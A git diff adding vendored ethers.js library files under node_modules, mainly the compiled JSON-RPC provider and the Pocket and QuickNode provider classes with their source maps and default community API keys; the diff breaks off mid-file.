[getLowerCase(req.address), req.blockTag] + }; + case "getCode": + return { + method: "eth_getCode", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getStorage": + return { + method: "eth_getStorageAt", + args: [ + getLowerCase(req.address), + ("0x" + req.position.toString(16)), + req.blockTag + ] + }; + case "broadcastTransaction": + return { + method: "eth_sendRawTransaction", + args: [req.signedTransaction] + }; + case "getBlock": + if ("blockTag" in req) { + return { + method: "eth_getBlockByNumber", + args: [req.blockTag, !!req.includeTransactions] + }; + } + else if ("blockHash" in req) { + return { + method: "eth_getBlockByHash", + args: [req.blockHash, !!req.includeTransactions] + }; + } + break; + case "getTransaction": + return { + method: "eth_getTransactionByHash", + args: [req.hash] + }; + case "getTransactionReceipt": + return { + method: "eth_getTransactionReceipt", + args: [req.hash] + }; + case "call": + return { + method: "eth_call", + args: [this.getRpcTransaction(req.transaction), req.blockTag] + }; + case "estimateGas": { + return { + method: "eth_estimateGas", + args: [this.getRpcTransaction(req.transaction)] + }; + } + case "getLogs": + if (req.filter && req.filter.address != null) { + if (Array.isArray(req.filter.address)) { + req.filter.address = req.filter.address.map(getLowerCase); + } + else { + req.filter.address = getLowerCase(req.filter.address); + } + } + return { method: "eth_getLogs", args: [req.filter] }; + } + return null; + } + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload, _error) { + const { method } = payload; + const { error } = _error; + if (method === "eth_estimateGas" && error.message) { + const msg = error.message; + if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) { + return (0, index_js_5.makeError)("insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + else if (msg.match(/nonce/i) && msg.match(/too low/i)) { + return (0, index_js_5.makeError)("nonce has already been used", "NONCE_EXPIRED", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + } + if (method === "eth_call" || method === "eth_estimateGas") { + const result = spelunkData(error); + const e = index_js_1.AbiCoder.getBuiltinCallException((method === "eth_call") ? "call" : "estimateGas", (payload.params[0]), (result ? result.data : null)); + e.info = { error, payload }; + return e; + } + // Only estimateGas and call can return arbitrary contract-defined text, so now we + // we can process text safely. + const message = JSON.stringify(spelunkMessage(error)); + if (typeof (error.message) === "string" && error.message.match(/user denied|ethers-user-denied/i)) { + const actionMap = { + eth_sign: "signMessage", + personal_sign: "signMessage", + eth_signTypedData_v4: "signTypedData", + eth_signTransaction: "signTransaction", + eth_sendTransaction: "sendTransaction", + eth_requestAccounts: "requestAccess", + wallet_requestAccounts: "requestAccess", + }; + return (0, index_js_5.makeError)(`user rejected action`, "ACTION_REJECTED", { + action: (actionMap[method] || "unknown"), + reason: "rejected", + info: { payload, error } + }); + } + if (method === "eth_sendRawTransaction" || method === "eth_sendTransaction") { + const transaction = (payload.params[0]); + if (message.match(/insufficient funds|base fee exceeds gas limit/i)) { + return (0, index_js_5.makeError)("insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction, info: { error } + }); + } + if (message.match(/nonce/i) && message.match(/too low/i)) { + return (0, index_js_5.makeError)("nonce has already been used", "NONCE_EXPIRED", { transaction, info: { error } }); + } + // "replacement transaction underpriced" + if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) { + return (0, index_js_5.makeError)("replacement fee too low", "REPLACEMENT_UNDERPRICED", { transaction, info: { error } }); + } + if (message.match(/only replay-protected/i)) { + return (0, index_js_5.makeError)("legacy pre-eip-155 transactions not supported", "UNSUPPORTED_OPERATION", { + operation: method, info: { transaction, info: { error } } + }); + } + } + let unsupported = !!message.match(/the method .* does not exist/i); + if (!unsupported) { + if (error && error.details && error.details.startsWith("Unauthorized method:")) { + unsupported = true; + } + } + if (unsupported) { + return (0, index_js_5.makeError)("unsupported operation", "UNSUPPORTED_OPERATION", { + operation: payload.method, info: { error, payload } + }); + } + return (0, index_js_5.makeError)("could not coalesce error", "UNKNOWN_ERROR", { error, payload }); + } + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method, params) { + // @TODO: cache chainId?? purge on switch_networks + // We have been destroyed; no operations are supported anymore + if (this.destroyed) { + return Promise.reject((0, index_js_5.makeError)("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: method })); + } + const id = this.#nextId++; + const promise = new Promise((resolve, reject) => { + this.#payloads.push({ + resolve, reject, + payload: { method, params, id, jsonrpc: "2.0" } + }); + }); + // If there is not a pending drainTimer, set one + this.#scheduleDrain(); + return promise; + } + /** + * Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + async getSigner(address) { + if (address == null) { + address = 0; + } + const accountsPromise = this.send("eth_accounts", []); + // Account index + if (typeof (address) === "number") { + const accounts = (await accountsPromise); + if (address >= accounts.length) { + throw new Error("no such account"); + } + return new JsonRpcSigner(this, accounts[address]); + } + const { accounts } = await (0, index_js_5.resolveProperties)({ + network: this.getNetwork(), + accounts: accountsPromise + }); + // Account address + address = (0, index_js_2.getAddress)(address); + for (const account of accounts) { + if ((0, index_js_2.getAddress)(account) === address) { + return new JsonRpcSigner(this, address); + } + } + throw new Error("invalid account"); + } + async listAccounts() { + const accounts = await this.send("eth_accounts", []); + return accounts.map((a) => new JsonRpcSigner(this, a)); + } + destroy() { + // Stop processing requests + if (this.#drainTimer) { + clearTimeout(this.#drainTimer); + this.#drainTimer = null; + } + // Cancel all pending requests + for (const { payload, reject } of this.#payloads) { + reject((0, index_js_5.makeError)("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + } + this.#payloads = []; + // Parent clean-up + super.destroy(); + } +} +exports.JsonRpcApiProvider = JsonRpcApiProvider; +// @TODO: remove this in v7, it is not exported because this functionality +// is exposed in the JsonRpcApiProvider by setting polling to true. It should +// be safe to remove regardless, because it isn't reachable, but just in case. +/** + * @_ignore: + */ +class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #pollingInterval; + constructor(network, options) { + super(network, options); + let pollingInterval = this._getOption("pollingInterval"); + if (pollingInterval == null) { + pollingInterval = defaultOptions.pollingInterval; + } + this.#pollingInterval = pollingInterval; + } + _getSubscriber(sub) { + const subscriber = super._getSubscriber(sub); + if (isPollable(subscriber)) { + subscriber.pollingInterval = this.#pollingInterval; + } + return subscriber; + } + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval() { return this.#pollingInterval; } + set pollingInterval(value) { + if (!Number.isInteger(value) || value < 0) { + throw new Error("invalid interval"); + } + this.#pollingInterval = value; + this._forEachSubscriber((sub) => { + if (isPollable(sub)) { + sub.pollingInterval = this.#pollingInterval; + } + }); + } +} +exports.JsonRpcApiPollingProvider = JsonRpcApiPollingProvider; +/** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ +class JsonRpcProvider extends JsonRpcApiPollingProvider { + #connect; + constructor(url, network, options) { + if (url == null) { + url = "http:/\/localhost:8545"; + } + super(network, options); + if (typeof (url) === "string") { + this.#connect = new index_js_5.FetchRequest(url); + } + else { + this.#connect = url.clone(); + } + } + _getConnection() { + return this.#connect.clone(); + } + async send(method, params) { + // All requests are over HTTP, so we can just start handling requests + // We do this here rather than the constructor so that we don't send any + // requests to the network (i.e. eth_chainId) until we absolutely have to. + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + // Configure a POST connection for the requested method + const request = this._getConnection(); + request.body = JSON.stringify(payload); + request.setHeader("content-type", "application/json"); + const response = await request.send(); + response.assertOk(); + let resp = response.bodyJson; + if (!Array.isArray(resp)) { + resp = [resp]; + } + return resp; + } +} +exports.JsonRpcProvider = JsonRpcProvider; +function spelunkData(value) { + if (value == null) { + return null; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string" && value.message.match(/revert/i) && (0, index_js_5.isHexString)(value.data)) { + return { message: value.message, data: value.data }; + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + const result = spelunkData(value[key]); + if (result) { + return result; + } + } + return null; + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return spelunkData(JSON.parse(value)); + } + catch (error) { } + } + return null; +} +function _spelunkMessage(value, result) { + if (value == null) { + return; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string") { + result.push(value.message); + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + _spelunkMessage(value[key], result); + } + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return _spelunkMessage(JSON.parse(value), result); + } + catch (error) { } + } +} +function spelunkMessage(value) { + const result = []; + _spelunkMessage(value, result); + return result; +} +//# sourceMappingURL=provider-jsonrpc.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.js.map b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.js.map new file mode 100644 index 000000000000..11981e359c09 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-jsonrpc.js","sourceRoot":"","sources":["../../src.ts/providers/provider-jsonrpc.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;AAEH,SAAS;AACT,yBAAyB;AAEzB,yQAAyQ;AAEzQ,8CAA2C;AAC3C,kDAAiE;AACjE,+CAAoD;AACpD,sDAA0E;AAC1E,gDAI2B;AAE3B,iEAA+E;AAC/E,6DAAsD;AACtD,6CAAuC;AACvC,qEAA8F;AAC9F,mEAAiE;AAYjE,MAAM,SAAS,GAAG,8CAA8C,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;AAC7E,gDAAgD;AAChD,SAAS,QAAQ,CAAU,KAAQ;IAC/B,IAAI,KAAK,IAAI,IAAI,IAAI,SAAS,CAAC,OAAO,CAAC,OAAM,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,EAAE;QACxD,OAAO,KAAK,C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AAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC;SACzC;QAAC,OAAO,KAAK,EAAE,GAAG;KACtB;IAED,OAAO,IAAI,CAAC;AAChB,CAAC;AAED,SAAS,eAAe,CAAC,KAAU,EAAE,MAAqB;IACtD,IAAI,KAAK,IAAI,IAAI,EAAE;QAAE,OAAO;KAAE;IAE9B,4CAA4C;IAC5C,IAAI,OAAM,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,QAAQ,EAAE;QACpC,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC;KAC9B;IAED,qBAAqB;IACrB,IAAI,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,EAAE;QAC5B,KAAK,MAAM,GAAG,IAAI,KAAK,EAAE;YACrB,eAAe,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,MAAM,CAAC,CAAC;SACvC;KACJ;IAED,mDAAmD;IACnD,IAAI,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,EAAE;QAC5B,IAAI;YACA,OAAO,eAAe,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,EAAE,MAAM,CAAC,CAAC;SACrD;QAAC,OAAO,KAAK,EAAE,GAAG;KACtB;AACL,CAAC;AAED,SAAS,cAAc,CAAC,KAAU;IAC9B,MAAM,MAAM,GAAkB,EAAG,CAAC;IAClC,eAAe,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IAC/B,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-pocket.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-pocket.d.ts new file mode 100644 index 000000000000..e0c4dc8146af --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-pocket.d.ts @@ -0,0 +1,54 @@ +/** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ +import { FetchRequest } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ +export declare class PocketProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The Application ID for the Pocket connection. + */ + readonly applicationId: string; + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + readonly applicationSecret: null | string; + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network?: Networkish, applicationId?: null | string, applicationSecret?: null | string); + _getProvider(chainId: number): AbstractProvider; + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network: Network, applicationId?: null | string, applicationSecret?: null | string): FetchRequest; + isCommunityResource(): boolean; +} +//# sourceMappingURL=provider-pocket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-pocket.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-pocket.d.ts.map new file mode 100644 index 000000000000..1d989750f4f5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-pocket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-pocket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-pocket.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAE1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAqB/C;;;;;;;;GAQG;AACH,qBAAa,cAAe,SAAQ,eAAgB,YAAW,oBAAoB;IAE/E;;OAEG;IACH,QAAQ,CAAC,aAAa,EAAG,MAAM,CAAC;IAEhC;;;OAGG;IACH,QAAQ,CAAC,iBAAiB,EAAG,IAAI,GAAG,MAAM,CAAC;IAE3C;;;;;OAKG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,iBAAiB,CAAC,EAAE,IAAI,GAAG,MAAM;IAcnG,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,iBAAiB,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;IAoBnH,mBAAmB,IAAI,OAAO;CAGjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-pocket.js b/node_modules/ethers/lib.commonjs/providers/provider-pocket.js new file mode 100644 index 000000000000..b53a2d1ae5b9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-pocket.js @@ -0,0 +1,109 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.PocketProvider = void 0; +/** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ +const index_js_1 = require("../utils/index.js"); +const community_js_1 = require("./community.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +const defaultApplicationId = "62e1ad51b37b8e00394bda3b"; +function getHost(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.gateway.pokt.network"; + case "goerli": + return "eth-goerli.gateway.pokt.network"; + case "matic": + return "poly-mainnet.gateway.pokt.network"; + case "matic-mumbai": + return "polygon-mumbai-rpc.gateway.pokt.network"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +/** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ +class PocketProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + /** + * The Application ID for the Pocket connection. + */ + applicationId; + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + applicationSecret; + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, applicationId, applicationSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (applicationId == null) { + applicationId = defaultApplicationId; + } + if (applicationSecret == null) { + applicationSecret = null; + } + const options = { staticNetwork: network }; + const request = PocketProvider.getRequest(network, applicationId, applicationSecret); + super(request, network, options); + (0, index_js_1.defineProperties)(this, { applicationId, applicationSecret }); + } + _getProvider(chainId) { + try { + return new PocketProvider(chainId, this.applicationId, this.applicationSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network, applicationId, applicationSecret) { + if (applicationId == null) { + applicationId = defaultApplicationId; + } + const request = new index_js_1.FetchRequest(`https:/\/${getHost(network.name)}/v1/lb/${applicationId}`); + request.allowGzip = true; + if (applicationSecret) { + request.setCredentials("", applicationSecret); + } + if (applicationId === defaultApplicationId) { + request.retryFunc = async (request, response, attempt) => { + (0, community_js_1.showThrottleMessage)("PocketProvider"); + return true; + }; + } + return request; + } + isCommunityResource() { + return (this.applicationId === defaultApplicationId); + } +} +exports.PocketProvider = PocketProvider; +//# sourceMappingURL=provider-pocket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-pocket.js.map b/node_modules/ethers/lib.commonjs/providers/provider-pocket.js.map new file mode 100644 index 000000000000..0c5159278afb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-pocket.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-pocket.js","sourceRoot":"","sources":["../../src.ts/providers/provider-pocket.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;GAYG;AACH,gDAE2B;AAG3B,iDAAqD;AACrD,6CAAuC;AACvC,+DAAwD;AAKxD,MAAM,oBAAoB,GAAG,0BAA0B,CAAC;AAExD,SAAS,OAAO,CAAC,IAAY;IACzB,QAAQ,IAAI,EAAE;QACV,KAAK,SAAS;YACV,OAAQ,kCAAkC,CAAC;QAC/C,KAAK,QAAQ;YACT,OAAO,iCAAiC,CAAC;QAE7C,KAAK,OAAO;YACR,OAAO,mCAAmC,CAAC;QAC/C,KAAK,cAAc;YACf,OAAO,yCAAyC,CAAC;KACxD;IAED,IAAA,yBAAc,EAAC,KAAK,EAAE,qBAAqB,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;AAClE,CAAC;AAGD;;;;;;;;GAQG;AACH,MAAa,cAAe,SAAQ,qCAAe;IAE/C;;OAEG;IACM,aAAa,CAAU;IAEhC;;;OAGG;IACM,iBAAiB,CAAiB;IAE3C;;;;;OAKG;IACH,YAAY,QAAqB,EAAE,aAA6B,EAAE,iBAAiC;QAC/F,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,SAAS,CAAC;SAAE;QAC/C,MAAM,OAAO,GAAG,oBAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;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rD,IAAA,kCAAmB,EAAC,gBAAgB,CAAC,CAAC;gBACtC,OAAO,IAAI,CAAC;YAChB,CAAC,CAAC;SACL;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,aAAa,KAAK,oBAAoB,CAAC,CAAC;IACzD,CAAC;CACJ;AAnED,wCAmEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-quicknode.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.d.ts new file mode 100644 index 000000000000..244ce2a9da48 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.d.ts @@ -0,0 +1,59 @@ +/** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ +export declare class QuickNodeProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API token. + */ + readonly token: string; + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network?: Networkish, token?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network: Network, token?: null | string): FetchRequest; +} +//# sourceMappingURL=provider-quicknode.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-quicknode.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.d.ts.map new file mode 100644 index 000000000000..1078f1832853 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-quicknode.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-quicknode.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AAEH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AA+E/C;;;;;;;;GAQG;AACH,qBAAa,iBAAkB,SAAQ,eAAgB,YAAW,oBAAoB;IAClF;;OAEG;IACH,QAAQ,CAAC,KAAK,EAAG,MAAM,CAAC;IAExB;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,KAAK,CAAC,EAAE,IAAI,GAAG,MAAM;IAWxD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,KAAK,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;CAgB3E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-quicknode.js b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.js new file mode 100644 index 000000000000..bbc9a05b122f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-quicknode.js @@ -0,0 +1,163 @@ +"use strict"; +/** + * [[link-quicknode]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base Mainnet (``base``); + * - Base Goerli Testnet (``base-goerli``); + * - Base Sepolia Testnet (``base-sepolia``); + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:QuickNode [providers-quicknode] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.QuickNodeProvider = void 0; +const index_js_1 = require("../utils/index.js"); +const community_js_1 = require("./community.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +const defaultToken = "919b412a057b5e9c9b6dce193c5a60242d6efadb"; +function getHost(name) { + switch (name) { + case "mainnet": + return "ethers.quiknode.pro"; + case "goerli": + return "ethers.ethereum-goerli.quiknode.pro"; + case "sepolia": + return "ethers.ethereum-sepolia.quiknode.pro"; + case "holesky": + return "ethers.ethereum-holesky.quiknode.pro"; + case "arbitrum": + return "ethers.arbitrum-mainnet.quiknode.pro"; + case "arbitrum-goerli": + return "ethers.arbitrum-goerli.quiknode.pro"; + case "arbitrum-sepolia": + return "ethers.arbitrum-sepolia.quiknode.pro"; + case "base": + return "ethers.base-mainnet.quiknode.pro"; + case "base-goerli": + return "ethers.base-goerli.quiknode.pro"; + case "base-spolia": + return "ethers.base-sepolia.quiknode.pro"; + case "bnb": + return "ethers.bsc.quiknode.pro"; + case "bnbt": + return "ethers.bsc-testnet.quiknode.pro"; + case "matic": + return "ethers.matic.quiknode.pro"; + case "matic-mumbai": + return "ethers.matic-testnet.quiknode.pro"; + case "optimism": + return "ethers.optimism.quiknode.pro"; + case "optimism-goerli": + return "ethers.optimism-goerli.quiknode.pro"; + case "optimism-sepolia": + return "ethers.optimism-sepolia.quiknode.pro"; + case "xdai": + return "ethers.xdai.quiknode.pro"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +/* +@TODO: + These networks are not currently present in the Network + default included networks. Research them and ensure they + are EVM compatible and work with ethers + + http://ethers.matic-amoy.quiknode.pro + + http://ethers.avalanche-mainnet.quiknode.pro + http://ethers.avalanche-testnet.quiknode.pro + http://ethers.blast-sepolia.quiknode.pro + http://ethers.celo-mainnet.quiknode.pro + http://ethers.fantom.quiknode.pro + http://ethers.imx-demo.quiknode.pro + http://ethers.imx-mainnet.quiknode.pro + http://ethers.imx-testnet.quiknode.pro + http://ethers.near-mainnet.quiknode.pro + http://ethers.near-testnet.quiknode.pro + http://ethers.nova-mainnet.quiknode.pro + http://ethers.scroll-mainnet.quiknode.pro + http://ethers.scroll-testnet.quiknode.pro + http://ethers.tron-mainnet.quiknode.pro + http://ethers.zkevm-mainnet.quiknode.pro + http://ethers.zkevm-testnet.quiknode.pro + http://ethers.zksync-mainnet.quiknode.pro + http://ethers.zksync-testnet.quiknode.pro +*/ +/** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ +class QuickNodeProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + /** + * The API token. + */ + token; + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network, token) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (token == null) { + token = defaultToken; + } + const request = QuickNodeProvider.getRequest(network, token); + super(request, network, { staticNetwork: network }); + (0, index_js_1.defineProperties)(this, { token }); + } + _getProvider(chainId) { + try { + return new QuickNodeProvider(chainId, this.token); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.token === defaultToken); + } + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network, token) { + if (token == null) { + token = defaultToken; + } + const request = new 